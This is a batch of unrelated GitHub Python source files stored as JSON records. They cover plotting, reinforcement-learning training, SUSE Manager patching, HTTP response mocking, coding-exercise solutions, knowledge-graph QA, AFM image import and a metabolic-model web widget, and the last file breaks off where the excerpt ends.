+{"seq_id":"3216084011","text":"# -*- coding: utf-8 -*-\n\nfrom os.path import expanduser, join\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef create_bar_chart(k, v, width=0.5, grid=True, config=None):\n \"\"\"Create bar chart img\n Input:\n k -- labels for the xaxis,\n v -- heights of the bars,\n width -- width(s) of the bars (default: 0.5),\n grid -- turn the axes grids on or off,\n config -- ConfigObj dict.\n\n \"\"\"\n\n N = len(k)\n x = np.arange(N) # The x coordinates of the left sides of the bars\n # Create a figure with a set of subplots already made\n fig = plt.subplots()\n # Make a bar plot\n plt.bar(left=x, height=v, width=width)\n # Set the x axis label of the current axis\n plt.xlabel(\"time\")\n # Set the y axis label of the current axis\n plt.ylabel(\"money\")\n # Set the x-limits of the current tick locations and labels\n plt.xticks(x+width/2, k)\n # Set a title of the current axes\n plt.title('Ruslan Korniichuk')\n # Turn the axes grids on or off\n plt.grid(grid)\n # Save the current figure\n if config != None:\n output_dir_abs_path = expanduser(config[\"output_dir_abs_path\"])\n bar_chart_png_file_name = config[\"bar_chart_png_file_name\"]\n png_abs_path = join(output_dir_abs_path, bar_chart_png_file_name)\n else:\n png_abs_path = \"cash.png\"\n plt.savefig(png_abs_path)\n","repo_name":"korniichuk/cash","sub_path":"cash/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"10222258870","text":"import random\r\nimport numpy as np\r\nimport torch\r\nimport torch.multiprocessing as mp\r\nimport yaml\r\n\r\nfrom actor import Actor\r\nfrom learner import Learner\r\nfrom replay_buffer import ReplayBuffer\r\nfrom environment import create_env\r\nfrom r2d2 import R2D2\r\n\r\ntorch.manual_seed(0)\r\nnp.random.seed(0)\r\nrandom.seed(0)\r\ntorch.set_num_threads(1)\r\n\r\n\r\ndef get_epsilon(\r\n actor_id: int,\r\n num_actors: int,\r\n config\r\n):\r\n base_eps = config[\"base_eps\"]\r\n alpha = config[\"alpha\"]\r\n exponent = 1 + actor_id / (num_actors - 1) * alpha\r\n return base_eps**exponent\r\n\r\n\r\ndef train(config):\r\n num_actors = config[\"num_actors\"]\r\n model = R2D2(create_env(config[\"game_name\"]).action_space.n)\r\n model.share_memory()\r\n sample_queue_list = [mp.Queue() for _ in range(num_actors)]\r\n batch_queue = mp.Queue(8)\r\n priority_queue = mp.Queue(8)\r\n\r\n buffer = ReplayBuffer(sample_queue_list, batch_queue, priority_queue, config)\r\n learner = Learner(batch_queue, priority_queue, model, config)\r\n actors = [\r\n Actor(get_epsilon(i, num_actors, config), model, sample_queue_list[i], config) for i in range(num_actors)\r\n ]\r\n\r\n actor_procs = [mp.Process(target=actor.run) for actor in actors]\r\n for proc in actor_procs:\r\n proc.start()\r\n\r\n buffer_proc = mp.Process(target=buffer.run)\r\n buffer_proc.start()\r\n\r\n learner.run()\r\n\r\n buffer_proc.join()\r\n\r\n for proc in actor_procs:\r\n proc.terminate()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n with open('config.yml', 'r') as f:\r\n config = yaml.load(f, Loader=yaml.SafeLoader)\r\n \r\n train(config)\r\n","repo_name":"CENG502-Projects/CENG502-Spring2023","sub_path":"ErtenliOzdemir/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"28"}
+{"seq_id":"33049467138","text":"#!/usr/bin/env python3\n#\n# do_package_update\n#\n# (c) 2016 SUSE Linux GmbH, Germany.\n# GNU Public License. No warranty. No Support (only from SUSE Consulting\n#\n# Version: 2016-11-22\n#\n# Created by: SUSE Michael Brookhuis\n#\n# This script will update the server with the latest patches available in its assigned channels. \n#\n# Releases:\n# 2016-01-06 M.Brookhuis - initial release.\n# 2016-11-22 M.Brookhuis - before deleting action chain, check if it is present.\n# 2017-04-24 M.Brookhuis - Add salt intergration and add more logging \n# 2017-04-25 M.Brookhuis - add package schedule refresh to prevent spmig to fail\n# 2018-05-22 M.Brookhuis - Change log file location\n# 2019-04-11 M.Brookhuis - Migrated to python3\n# - added proper logging\n# - changed config to yaml\n# \n# return codes\n# 0 = job successfully finished\n# 1 = host not found\n# 2 = error on SUSE Manager\n# 3 = job failed\n#\n#\n#\n#\n\n\"\"\"\nThis script will update the configuration of the given server\n\"\"\"\nimport sys\nsys.path.append('/etc/pnw')\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport xmlrpc.client\nimport datetime\nimport smtools\nimport time\n\n__smt = None\n\n\ndef check_progress(actionid):\n \"\"\"\n Check progress of event in SUSE Manager\n \"\"\"\n progress = [{'timestamp': 'init'}]\n while progress:\n try:\n progress = smt.client.schedule.listInProgressSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('progress failed')\n return 2\n smt.log_info(\"in progress\")\n time.sleep(15)\n time.sleep(15)\n try:\n failed = smt.client.schedule.listFailedSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('Unable get failed status')\n return 2\n if failed:\n smt.log_error(\"action failed\")\n return 3\n try:\n completed = smt.client.schedule.listCompletedSystems(smt.session, actionid)\n except xmlrpc.client.Fault:\n smt.log_error('Unable get completed status')\n return 2\n if completed:\n smt.log_info(\"action completed\")\n return 0\n\n\ndef do_package_update(server_id):\n \"\"\"\n Update packages\n \"\"\"\n smt.log_info(\"Updating the server\")\n ai = apply_updates_regular(server_id)\n if ai == 0 or ai == 2 or ai == 3:\n result = ai\n else:\n result = check_progress(ai)\n if result == 0:\n try:\n ai = smt.client.system.schedulePackageRefresh(smt.session, server_id, datetime.datetime.now())\n except xmlrpc.client.Fault as err:\n smt.log_info(\"unable to schedule package refresh for server. Error: {}\".format(err))\n return 2\n smt.log_info(\"Package refresh running for system\")\n time.sleep(120)\n result = check_progress(ai)\n return result\n\n\ndef apply_updates_regular(sd):\n \"\"\"\n Update packages\n \"\"\"\n try:\n alluprpms = smt.client.system.listLatestUpgradablePackages(smt.session, sd)\n except xmlrpc.client.Fault:\n smt.log_info('Unable to get a list of updatable rpms {}'.format(smt.hostname))\n return 2\n rpms = [] # this array will contain the IDs of the packeges to install\n for x in alluprpms:\n rpms.append(x.get('to_package_id'))\n try:\n actionid = smt.client.system.schedulePackageInstall(smt.session, sd, rpms, datetime.datetime.now())\n except xmlrpc.client.Fault:\n smt.log_info('Unable to add package to chain')\n return 2\n time.sleep(15)\n return actionid\n\n\ndef main():\n \"\"\"\n Main function\n \"\"\"\n global smt\n parser = argparse.ArgumentParser(formatter_class=RawTextHelpFormatter, description=('''\\\n Usage:\n do_package_update.py \n\n '''))\n parser.add_argument('-s', '--server', help='name of the server to patched (without domain). Required')\n parser.add_argument('--version', action='version', version='%(prog)s 1.0.1, April 11, 2019')\n args = parser.parse_args()\n if not args.server:\n perr = \"The option --server is required\"\n smt = smtools.SMTools(\"nonamed\", \"do_package_update\")\n smt.set_hostname(\"nonamed\")\n smt.fatal_error(perr)\n else:\n smt = smtools.SMTools(args.server.lower(), \"do_package_update\")\n smt.suman_login()\n smt.set_hostname(args.server.lower())\n smt.log_info(\"######################################################\")\n smt.log_info(\"Start\")\n smt.log_info(\"######################################################\")\n do_package_update(smt.get_server_id())\n smt.close_program()\n\n\nif __name__ == \"__main__\":\n SystemExit(main())\n","repo_name":"uyuni-project/contrib","sub_path":"uyuni-tools/do_package_update.py","file_name":"do_package_update.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"28"}
+{"seq_id":"72271540876","text":"from __future__ import annotations\n\nfrom datetime import timedelta\n\nimport requests\n\nfrom .. import models\n\n\nclass Response(requests.Response, models.Response):\n def __init__(\n self,\n status_code: int | None = None,\n headers: dict[str, str] | None = None,\n content: str | None = None,\n content_type: str | None = None,\n encoding: str | None = None,\n elapsed: timedelta | None = None,\n _data: models.ResponseData | None = None,\n ):\n \"\"\"A `requests.Response` object, useful when mocking/patching HTTP calls.\n\n Args:\n status_code:\n headers:\n content:\n content_type:\n encoding:\n elapsed:\n\n Examples:\n *Common imports*\n >>> from mockish import Mock, patch\n >>> from mockish.requests import Response\n >>> import requests\n\n - `mockish.requests.Response`\n >>> resp: requests.Response = Response(content='hello world')\n >>> resp.content\n b'hello world'\n >>> resp.status_code\n 200\n\n - `mockish.requests.Response.from_dict(...)`\n >>> resp: requests.Response = Response.from_dict(\n ... {'hello': 'world'},\n ... status_code=201\n ... )\n >>> resp.json()\n {'hello': 'world'}\n >>> resp.status_code\n 201\n >>> resp.headers\n {'Content-Type': 'application/json', 'Content-Length': '18'}\n\n - Mocking a `requests` session:\n >>> session = Mock(spec_set=requests.Session, **{\n ... 'get': Mock(\n ... return_once=Response.from_dict({'hello': 'world'})\n ... ),\n ... 'post': Mock(\n ... return_once=Response.from_dict(\n ... {'hello': 'world'},\n ... status_code=201\n ... ),\n ... ),\n ... })\n >>> session.get('https://www.fresh2.dev')\n \n >>> session.post('https://www.fresh2.dev')\n \n\n - Complete example with patching:\n >>> mock_resp = Response.from_dict({'hello': 'world'})\n >>> with patch.object(\n ... requests,\n ... 'get',\n ... Mock(return_once=mock_resp)\n ... ):\n ... resp: requests.Response = requests.get('https://www.fresh2.dev')\n ... requests.get.assert_called_once()\n >>> resp\n \n >>> resp.json()\n {'hello': 'world'}\n \"\"\"\n\n super().__init__()\n\n if not _data:\n _data = super()._prepare_response_data(\n status_code=status_code,\n headers=headers,\n content=content,\n content_type=content_type,\n encoding=encoding,\n elapsed=elapsed,\n )\n\n self.status_code = _data.status_code\n\n self.headers = requests.structures.CaseInsensitiveDict(_data.headers)\n\n if _data.content:\n self._content = _data.content\n\n if _data.elapsed:\n self.elapsed = _data.elapsed\n","repo_name":"fresh2dev/mockish","sub_path":"src/mockish/requests/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"31084317226","text":"import re\nf = open('input.txt', 'r')\ncontent = f.read().strip().split('\\n\\n')\nf.close()\n\ncontent = [pp.replace('\\n', ' ') for pp in content]\n\ndef checkByr(input):\n return 1920 <= int(input) <= 2002\n\ndef checkIyr(input):\n return 2010 <= int(input) <= 2020\n\ndef checkEyr(input):\n return 2020 <= int(input) <= 2030\n\ndef checkHgt(input):\n hgtCM = re.findall(r'(\\d+)(?:cm)', input )\n if hgtCM:\n if 150 <= int(hgtCM[0]) <= 193:\n return True\n else:\n return False\n hgtIN = re.findall(r'(\\d+)(?:in)', input )\n if hgtIN:\n if 59 <= int(hgtIN[0]) <= 76:\n return True\n return False\n\ndef checkHcl(input):\n hcl = re.findall(r'(?:#)([a-f0-9]+)', input)\n if not hcl:\n return False\n if len(hcl[0]) == 6:\n return True\n return False\n\ndef checkEcl(input):\n if any(input in s for s in ['amb' 'blu' 'brn' 'gry' 'grn' 'hzl' 'oth']):\n return True\n return False\n\ndef checkPid(input):\n nums = re.search(r'^[0-9]+$', input)\n if nums is None:\n return False\n return len(nums.group(0)) == 9\n\nrequiredFields = [('byr', checkByr), ('iyr', checkIyr),('eyr', checkEyr),('hgt', checkHgt),('hcl', checkHcl),('ecl', checkEcl), ('pid', checkPid)]\n\ndef checkFields(pp):\n for field in requiredFields:\n key = field[0] + ':'\n if key not in pp:\n return False\n match = re.findall(r'(?:'+key+')(\\S+)', pp)\n func = field[1]\n if func(match[0]) is False:\n return False\n return True\n\ncount = 0\nfor pp in content:\n if checkFields(pp):\n count += 1\ncheckFields(content[0])\nprint(count)\n# print(checkHcl('#f6brna'))\n","repo_name":"eparkhurst/AdventOfCode2020","sub_path":"day4/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"35756656239","text":"import itertools\nfrom copy import deepcopy\nfrom config.config import get_cfg\nfrom qa.matching.semantic.bert_sim import BertSim\nfrom qa.knowledge.graph_template import Template\nfrom qa.knowledge.path_rank import PathRank\nfrom qa.knowledge.entity_link import EntityLink\nfrom qa.tools import setup_logger\n\nlogger = setup_logger()\n\n\nclass KBQA:\n def __init__(self, cfg) -> None:\n self.cfg = cfg\n self.el = EntityLink(self.cfg)\n self.temp = Template(self.cfg)\n self.pr = PathRank(self.cfg)\n self.ens = BertSim(self.cfg, self.cfg.ENTITYLINK.ENTITY_NORM_MODEL)\n\n def duplientity_removal(self, result):\n dupliate_entitys = result['cypher_result']['answer'].split('\\t')\n if len(dupliate_entitys) != 1:\n entity_data = list(itertools.combinations(dupliate_entitys, 2))\n entity_query = []\n for data in entity_data:\n entity_query.append(deepcopy([data[0], data[1]]))\n scores = self.ens.predict_sim(entity_query)\n scores_index = [\n index if scores[index] > 0.9 else -1\n for index in range(len(scores))\n ]\n scores_index = list(set(scores_index))\n if -1 in scores_index:\n scores_index.remove(-1)\n remove_entity = [\n entity_query[index][1]\n if len(entity_query[index][0]) > len(entity_query[index][1])\n else entity_query[index][0] for index in scores_index\n ]\n for entity in remove_entity:\n if entity in dupliate_entitys:\n dupliate_entitys.remove(entity)\n result['cypher_result']['answer'] = '\\t'.join(dupliate_entitys)\n return result\n\n def get_answer(self, query):\n logger.info(\"开始抽取实体...\")\n mention_list = self.el.get_mentions(query)\n if len(mention_list) == 0:\n result = {}\n return result\n logger.info(\"开始生成候选实体...\")\n candiate_entitys = self.el.entity_link2(query, mention_list)\n logger.info(\"开始neo4j模版查询...\")\n cypher_result = self.temp.get_graph_template(candiate_entitys)\n # print(cypher_result[:4])\n if len(cypher_result) == 0:\n result = {}\n return result\n logger.info(\"开始查询结果排序...\")\n result = self.pr.predict_path_rank(query, cypher_result)\n logger.info(\"查询完成！\")\n result = self.duplientity_removal(result)\n logger.info(\"查询结果归一化完成！\")\n return result\n\n\nif __name__ == '__main__':\n cfg = get_cfg()\n kbqa = KBQA(cfg)\n queries = [\n \"狗乱吃东西怎么办\", \"边牧偶尔尿血怎么办\", \"猫咪经常拉肚子怎么办\", \"哈士奇拆家怎么办\", \"英短不吃东西怎么办？\",\n \"拉布拉多和金毛谁聪明\", \"折耳怀孕不吃东西怎么办？\", \"阿提桑诺曼底短腿犬\", \"阿尔卑斯达切斯勃拉克犬\"\n ]\n for query in queries:\n print(query, kbqa.get_answer(query))\n","repo_name":"leon2milan/petpedia","sub_path":"qa/knowledge/kbqa.py","file_name":"kbqa.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"15611318783","text":"# 내 코드\ndef solution(n, words):\n answer = [0, 0]\n\n letter = ''\n words_set = []\n for i in words :\n\n if answer[0] in [0, n] :\n answer[0] = 1\n answer[1] += 1\n else :\n answer[0] += 1\n\n if ((len(letter) == 0) or (letter[-1] == i[0])) and (i not in words_set) :\n letter = i\n words_set.append(i)\n\n else :\n break\n else :\n answer = [0, 0]\n\n return answer\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n# 다른 코드\ndef solution(n, words):\n for p in range(1, len(words)):\n if words[p][0] != words[p-1][-1] or words[p] in words[:p]: return [(p%n)+1, (p//n)+1]\n else:\n return [0,0]\n","repo_name":"WOONGSONVI/Algorithms","sub_path":"programmers/Python/level 2/영어 끝말잇기.py","file_name":"영어 끝말잇기.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"35363657914","text":"'''\nGiven two integers dividend and divisor , divide two integers without using multiplication, division and mod operator.\nReturn the quotient after dividing dividend by divisor . The integer division should truncate toward zero.\n'''\n\n\n# the inner loop set the divisor with the double size of itself and compare the result with the dividend\n# until the result just is not more than the dividend, record the times of the double size operations.\n# let the dividend equals to substract the result from itself, then goes the inner loop again until\n# the dividend less than the divisor. \nfrom sympy import div, true\n\n\ndef divide_two_integers(dividend, divisor):\n if dividend < divisor:\n return 0\n quotient = 0\n while dividend > divisor:\n sub_quotient = 1\n temp_divisor = divisor \n while (temp_divisor<<1) <= dividend:\n temp_divisor <<= 1\n sub_quotient <<= 1\n quotient += sub_quotient\n dividend -= temp_divisor\n return quotient\n\n\nif __name__ == '__main__':\n print(divide_two_integers(16,6))\n\n\n\n\n","repo_name":"JEFFTIMES/Py-Pra","sub_path":"data-structure-and-algorithm/leecode/29_divide_two_integers.py","file_name":"29_divide_two_integers.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"24409020358","text":"'''\nfunction : iterate through the array and add each element to the sum variable\nreturn int (sum)\n'''\ndef sumArray(array):\n # variable to store sum of array\n sum = 0\n for i in array:\n sum += i\n return sum\n\n'''\nfunction : print array elements with plus sign (+)\nreturn string\n'''\ndef arrayPlusSign(array):\n string_array = map(str, array)\n\n plus_sign = ' + '\n plus_sign = plus_sign.join(string_array)\n return plus_sign\n\n'''\nfunction : print a straight line\nreturn string\n'''\ndef printLine():\n return(f'----------------------------------------')\n\n# initiate array (empty list)\nprint(f'// SUM OF ARRAY //\\n{printLine()}')\narr = []\n# ask user input for array elements\ncount = int(input('Element count : '))\nfor i in range(0, count):\n elements = int(input(f'Input element [{i}] : '))\n arr.append(elements)\n\nprint(f'{printLine()}')\n# get sum of array\nsum_of_array = sumArray(arr)\n# calculate length of array\narray_length = len(arr)\n\n# print length and sum of array\nprint(f'Array\\t: {arr}\\nLength\\t: {array_length}\\nSum\\t: {arrayPlusSign(arr)}\\nSum of array : {sum_of_array}')\n","repo_name":"dydrmr5/learnPython","sub_path":"otherCodes/sum_of_array.py","file_name":"sum_of_array.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"2984410451","text":"import os\r\ncount = 0\r\nlist = None\r\n#prints attributes of linked list passed\r\ndef printf(list):\r\n temp=list\r\n while temp!=None:\r\n print(temp.name,end=' ')\r\n print('& size = ', end='')\r\n print(\"%.2f\" % temp.size, end=' MB')\r\n print(' & path = ', end='')\r\n print(temp.path)\r\n temp=temp.next\r\n#creates a node of linked list\r\nclass objct():\r\n \"Stores name , size and path\"\r\n def __init__(self,name=None, size=None , path=None, next=None ):\r\n self.name = name\r\n self.size = size\r\n self.path = path\r\n self.next = next\r\n#inserts new node in linked list without removing any node\r\ndef insertwithoutr(new,list):\r\n global count\r\n temp=list\r\n prev=list\r\n if temp.size>new.size:\r\n new.next=temp\r\n list=new\r\n count+=1\r\n\r\n return list\r\n while temp.size=new.size:\r\n new.next=temp\r\n prev.next=new\r\n count+=1\r\n return list\r\n elif temp.next==None:\r\n\r\n temp.next=new\r\n count+=1\r\n return list\r\n#inserts new node in linked list and removes first node to maintain constant size\r\ndef insertwithr(new,list):\r\n temp=list\r\n prev=list\r\n while temp.size=new.size:\r\n new.next=temp\r\n prev.next=new\r\n new=list.next\r\n\r\n elif temp.next==None:\r\n temp.next=new\r\n new=list.next\r\n return new\r\n#recursive function to take out top 10 files by going through subfolders\r\ndef top(path ):\r\n global list\r\n global count\r\n for file in os.listdir(path):\r\n\r\n arr= file.split(\".\")\r\n if len(arr) == 1:\r\n top(path + '/' + file)\r\n elif len(arr)>1:\r\n new=objct(file,(os.stat(path+'/'+file).st_size)/(1024*1024),path+'/'+file,)\r\n if list==None:\r\n list=new\r\n count+=1\r\n elif count<10:\r\n list=insertwithoutr(new,list)\r\n\r\n elif list.size used to calculate the resolution (x_length/x_pixels)\n pixel_size - float\n Size of a pixel in nanometres\n \n \"\"\"\n \n # Select path manually using tkinter\n if file_path is None:\n file_path = askopenfilename(title='Select AFM image ASCII file', filetypes=((\"ASCII files\", \"*.asc\"),))\n \n # Select image name from file path by \"/\" splitting\n file_name = file_path.split('/')[-1]\n \n # Initialize image\n img = []\n \n # Read each line, discriminate between header line and height value line by checking if the\n # content of the first entry of the line is a digit or not\n with open(file_path, 'r') as f:\n for line in f:\n try:\n first_entry = line.strip().split()[0][-5:]\n meas_par = line.split()[1]\n\n if first_entry.isdigit() or first_entry[-5:-3] == 'e-' or first_entry[-4:-2] == 'e-':\n line = line.strip()\n floats = [float(x) for x in line.split()]\n img.append(np.asarray(floats))\n\n # Find the required measurement information\n elif meas_par == 'x-pixels':\n x_pixels = float(line.split()[-1])\n\n # Find the required measurement information\n elif meas_par == 'y-pixels':\n y_pixels = float(line.split()[-1])\n \n elif meas_par == 'x-length':\n x_length = float(line.split()[-1])\n\n except IndexError:\n pass\n\n if 'x_pixels' not in locals():\n x_pixels = 'unknown'\n print('The amount of x-pixels was not found in the header')\n\n if 'y_pixels' not in locals():\n y_pixels = 'unknown'\n print('The amount of y-pixels was not found in the header')\n\n if 'x_length' not in locals():\n x_length = 'unknown'\n print('The size of the image was not found in the header')\n\n image = np.asarray(img)\n\n img_meta_data = {'file_name': file_name,\n 'file_path': file_path,\n 'x_pixels': x_pixels,\n 'x_length': x_length,\n 'y_pixels': y_pixels,\n 'pixel_size': x_length/x_pixels}\n\n return np.asarray(image), img_meta_data\n\n#%% Older variants not used in the new code.\n\ndef from_ascii_to_img(file_list, normalize=False):\n '''This function converts an ascii file to an ndarray.'''\n img_list = []\n for file in file_list:\n image = export_asci_file(file)\n if normalize:\n image -= np.percentile(image, 33)\n image /= np.percentile(image, 99.9)\n img_list.append(image)\n return img_list\n\n\ndef export_asci_file(file_path):\n \"\"\"Return data from .asc files as float64 ndarray\"\"\"\n with open(file_path, 'r') as f:\n row_index = 0\n count = 0\n for line in f:\n if 'Start of Data' in line:\n row_index = count\n break\n count += 1\n data = np.loadtxt(file_path, skiprows=row_index)\n return data\n\n","repo_name":"LeoKonzett/molecule-detection","sub_path":"Analysis Pipeline/Image processing/import_data.py","file_name":"import_data.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"33309124687","text":"from django.urls import path, re_path\nfrom api import views\n\nurlpatterns = [\n path('products/', views.product_list),\n path('products//', views.product_detail),\n path('categories/', views.category_list),\n path('categories//', views.category_detail),\n path('categories//products', views.category_products)\n]","repo_name":"aknurkappar/web-development-2023","sub_path":"Lab8/shop_back/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"}
+{"seq_id":"18296153906","text":"import Chemins\nfrom Utils.UTILS_Traduction import _\nimport wx\nfrom Ctrl import CTRL_Bouton_image\nfrom Utils import UTILS_Config\nfrom Dlg import DLG_Financement\nimport webbrowser\n\n\ndef Aide(page=None):\n \"\"\" Ouverture de l'aide dans le navigateur \"\"\"\n # None -> Renvoie vers le sommaire\n # \"\" -> Rubrique non disponible\n \n # Temporaire :\n## dlg = wx.MessageDialog(None, _(u\"Le manuel de l'utilisateur sera disponible à partir de septembre 2013.\\n\\nPour obtenir de l'aide, vous pouvez déjà :\\n\\n > Télécharger le guide de démarrage rapide\\n > Consulter le forum d'entraide\\n > Visionner les tutoriels vidéos\"), _(u\"Aide indisponible\"), wx.OK | wx.ICON_INFORMATION)\n## dlg.ShowModal()\n## dlg.Destroy()\n## return\n \n \n # Récupération des codes de la licence\n identifiant = UTILS_Config.GetParametre(\"enregistrement_identifiant\", defaut=None)\n code = UTILS_Config.GetParametre(\"enregistrement_code\", defaut=None)\n \n # Redirection si aucune licence\n if identifiant == None and code == None :\n dlg = DLG_Financement.Dialog(None, code=\"documentation\")\n dlg.ShowModal() \n dlg.Destroy()\n return\n\n # Si aucune aide existe, propose de renvoyer vers le sommaire\n if page == \"\" :\n dlg = wx.MessageDialog(None, _(u\"Cette rubrique d'aide n'est pas encore disponible.\\n\\nSouhaitez-vous être redirigé vers le sommaire de l'aide ?\"), _(u\"Pas de rubrique disponible\"), wx.YES_NO|wx.YES_DEFAULT|wx.CANCEL|wx.ICON_QUESTION)\n reponse = dlg.ShowModal() \n dlg.Destroy()\n if reponse != wx.ID_YES :\n return\n\n # Création de l'URL\n listeOptions = []\n \n if identifiant != None and code != None :\n listeOptions.append(\"identifiant=%s\" % identifiant)\n listeOptions.append(\"code=%s\" % code)\n \n if page != None and page != \"\" :\n listeOptions.append(\"page=%s.php\" % page)\n \n url = \"https://www.noethys.com/aide/html/identification.php\"\n if len(listeOptions) > 0 :\n url += \"?\" + \"&\".join(listeOptions)\n \n # Ouverture du navigateur\n webbrowser.open(url)\n\n \nif __name__ == \"__main__\":\n app = wx.App(0)\n #wx.InitAllImageHandlers()\n Aide() #(\"Licence\")\n\n app.MainLoop()\n","repo_name":"Noethys/Noethys","sub_path":"noethys/Utils/UTILS_Aide.py","file_name":"UTILS_Aide.py","file_ext":"py","file_size_in_byte":2261,"program_lang":"python","lang":"fr","doc_type":"code","stars":28,"dataset":"github-code","pt":"28"}
+{"seq_id":"6672833375","text":"import ControllerSimulator\n\nmyController = ControllerSimulator.Controller()\nmyController.send(None)\n\nwhile True:\n myCntrl = list(myController)\n print (myController)\n print(myCntrl)\n for i in myCntrl:\n print(\"%.5f\\t%d\\t%d\\t%d\" % myCntrl[0], myCntrl[1], myCntrl[2], myCntrl[3])\n","repo_name":"balepari/pytest","sub_path":"TestSim01.py","file_name":"TestSim01.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"}
+{"seq_id":"35713578579","text":"\nfrom spyre import server\nfrom widget4 import totalEXRxns,createEXmodel,createReverseEXmodel, addEXMets2SpeciesEX, replaceRxns,replaceMets,createCommunityModel,allPairComModels,createAllPairs,createSubsetPairs\nimport os, os.path\n\nimport cherrypy\n#cherrypy.config.update({\"response.timeout\":1000000,'log.access_file': '../supportFiles/logs/logAccess_file.txt','log.error_file': '../supportFiles/logs/logError_file.txt','log.screen':True})\n\nclass Widget4(server.App):\n title = 'Widget 4'\n \n inputs = [\n {\"type\": \"text\",\n \"label\": \"In this widget we are going we're just going to create 2-species community metabolic models based on a file that lists the pairs of species that should go together. These are either the ones listed in file with correlations between pairs of species, or, if you don't provide a file with correlations between pairs of species, all possible unique combinations between the bacteria in your list of species.
Do you want to just run the widget with the default example files?\",\n \"key\": 'text14',\n \"value\": \"Yes or No\"},\n\n { \"type\":\"text\",\n \"key\":\"text15\",\n \"label\" : \" Tell me what the path to the file that has a list of species to pair. If you don't have this and just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter path to file listing the species pairs\"},\n\n { \"type\":\"text\",\n \"key\":\"text28\",\n \"label\" : \" We can also create a list of pairs based on level of correlation between the OTUs in the analysis and the similarity between these OTUs and the genomeID they were associated with in widget 2. Tell me which file has the information about the correlations between pairs of OTUs. Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA. \",\n \"value\":\"Enter the path to the correlations file here\"},\n\n { \"type\":\"text\",\n \"key\":\"text29\",\n \"label\" : \" Tell me which file has the information about the percent similarity between the OTUs analyzed and the genome they were matched with (one of the outputs of Widget 2). Again, if you just want to create all possible 2-species communities with the models in your models folder, just type: NA.\",\n \"value\":\"Enter the path to the percent similarity file here\"},\n\n\n { \"type\":\"text\",\n \"key\":\"text16\",\n \"label\" : \" Please tell me the path to the folder containing the metabolic models you want to use. \",\n \"value\":\"Enter path to your model folder\"},\n\n {\"type\": \"text\",\n \"key\": 'text17',\n \"label\": \"Tell me which folder you would like to put models of the 2-species communities\",\n \"value\": \"Enter the path to your communities folder\"},\n ]\n \n outputs = [{\"type\":\"html\",\n \"id\":\"some_html\",\n \"control_id\":\"run_widget\",\n \"tab\":\"Results\",\n \"on_page_load\": False}]\n \n controls = [{\"type\":\"button\",\n \"label\":\"Run Widget 4\",\n \"id\":\"run_widget\"}]\n \n tabs = [\"Results\"]\n \n def getCustomCSS(self):\n ROOT_DIR = os.path.dirname(os.path.realpath('static/custom_styleMMinte.css'))\n with open(ROOT_DIR + '/custom_styleMMinte.css') as style:\n return style.read()+'''\\n .right-panel{width:65%;margin: 1em}'''\n \n \n def getHTML(self,params):\n\n if params['text14'] == 'Yes' or params['text1'] == \"yes\":\n #list @todo fix this!!! Hacked!\n corrsFile = '../supportFiles/exampleRun/userFiles/corrs.txt'\n similFile = '../supportFiles/exampleRun/userOutput/similFile.txt'\n modelFolder = '../supportFiles/exampleRun/userOutput/models/'\n comFolder = '../supportFiles/exampleRun/userOutput/communityModels/'\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n else:\n list = params['text15'] #todo, create this on the fly from the list of speciesIDs\n corrsFile = params['text28']\n similFile = params['text29']\n modelFolder = params['text16']\n comFolder = params['text17']\n\n ############## In case there is no list to start with! #############\n\n if list == 'NA' and similFile == 'NA' and corrsFile == 'NA':\n createAllPairs(modelFolder)\n list = '../tempFiles/pairsList.txt'\n elif list == 'NA' and similFile != 'NA' and corrsFile != 'NA':\n createSubsetPairs(similFile,corrsFile)\n list = '../tempFiles/pairsList.txt'\n\n ############## Ok, now there is a list #############################\n\n\n\n\n\n\n if not os.path.exists(comFolder):\n os.makedirs(comFolder)\n\n try:\n allPairComModels(list,modelFolder,comFolder)\n cherrypy.log(\"We're finished creating your community models\")\n except:\n cherrypy.log(\"We were unable to run allPairComModels.\")\n return \"Sorry something's wrong. Make sure the path to your file is correct and that the python module cobrapy is loaded into your system.\"\n exit()\n \n \n numModels = sum(os.path.isfile(os.path.join(comFolder, f)) for f in os.listdir(comFolder)) - 1\n \n \n \n return \"We created %d community models. In the next widget, we will 